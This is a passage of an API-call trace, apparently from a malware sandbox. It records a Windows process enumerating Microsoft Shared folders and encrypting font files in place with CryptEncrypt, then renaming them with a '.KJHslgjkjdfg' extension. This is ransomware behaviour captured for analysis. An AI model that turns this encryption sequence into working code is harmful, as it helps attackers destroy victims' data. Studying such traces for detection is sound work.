dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0190.447] GetProcessHeap () returned 0x2ef0000 [0190.447] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x74) returned 0x2f09d00 [0190.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.448] GetProcessHeap () returned 0x2ef0000 [0190.448] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0190.448] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.448] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0190.448] GetProcessHeap () returned 0x2ef0000 [0190.448] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x276) returned 0x2f10788 [0190.448] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0190.448] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0190.448] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.449] GetProcessHeap () returned 0x2ef0000 [0190.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.449] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0190.449] GetProcessHeap () returned 0x2ef0000 [0190.449] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x76) returned 0x2f09d00 [0190.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.449] GetProcessHeap () returned 0x2ef0000 [0190.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0190.449] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.449] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0190.449] GetProcessHeap () returned 0x2ef0000 [0190.449] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x278) returned 0x2f10788 [0190.449] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0190.449] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.449] GetProcessHeap () returned 0x2ef0000 [0190.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.449] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0190.450] GetProcessHeap () returned 0x2ef0000 [0190.450] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x88) returned 0x2f45740 [0190.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.454] GetProcessHeap () returned 0x2ef0000 [0190.454] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0190.454] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.454] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0190.454] GetProcessHeap () returned 0x2ef0000 [0190.454] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28a) returned 0x2f10788 [0190.454] GetProcessHeap () returned 0x2ef0000 [0190.454] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x94) returned 0x2f455c0 [0190.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.456] GetProcessHeap () returned 0x2ef0000 [0190.456] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f455c0 | out: hHeap=0x2ef0000) returned 1 [0190.456] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.456] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0190.456] GetProcessHeap () returned 0x2ef0000 [0190.456] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x296) returned 0x2f16e68 [0190.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.457] GetProcessHeap () returned 0x2ef0000 [0190.457] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.457] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.457] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.457] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0190.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.459] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.459] GetProcessHeap () returned 0x2ef0000 [0190.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.459] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0190.459] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.459] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0190.459] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.459] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.459] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.459] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.459] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.459] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.459] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.459] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f2ea, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4f2ea, lpOverlapped=0x0) returned 1 [0190.465] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4f2f0, dwBufLen=0x4f2f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4f2f0) returned 1 [0190.467] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.467] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f2f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4f2f0, lpOverlapped=0x0) returned 1 [0190.468] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.468] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4f3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.468] SetEndOfFile (hFile=0x12c) returned 1 [0190.471] GetProcessHeap () returned 0x2ef0000 [0190.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.471] GetProcessHeap () returned 0x2ef0000 [0190.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.kjhslgjkjdfg")) returned 1 [0190.472] CloseHandle (hObject=0x12c) returned 1 [0190.472] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0190.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.473] GetProcessHeap () returned 0x2ef0000 [0190.473] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.473] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.473] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.473] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0190.475] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.475] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.475] GetProcessHeap () returned 0x2ef0000 [0190.475] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.475] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0190.475] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.475] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0190.475] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.475] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.475] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.475] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.475] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.475] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.475] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.475] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.476] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa261d, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xa261d, lpOverlapped=0x0) returned 1 [0190.485] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa2620, dwBufLen=0xa2620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa2620) returned 1 [0190.493] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.493] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa2620, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xa2620, lpOverlapped=0x0) returned 1 [0190.495] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.495] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa26f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.495] SetEndOfFile (hFile=0x12c) returned 1 [0190.498] GetProcessHeap () returned 0x2ef0000 [0190.498] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.498] GetProcessHeap () returned 0x2ef0000 [0190.498] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.kjhslgjkjdfg")) returned 1 [0190.508] CloseHandle (hObject=0x12c) returned 1 [0190.508] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0190.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.509] GetProcessHeap () returned 0x2ef0000 [0190.509] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.510] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.510] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.510] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xa, lpOverlapped=0x0) returned 1 [0190.512] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.512] 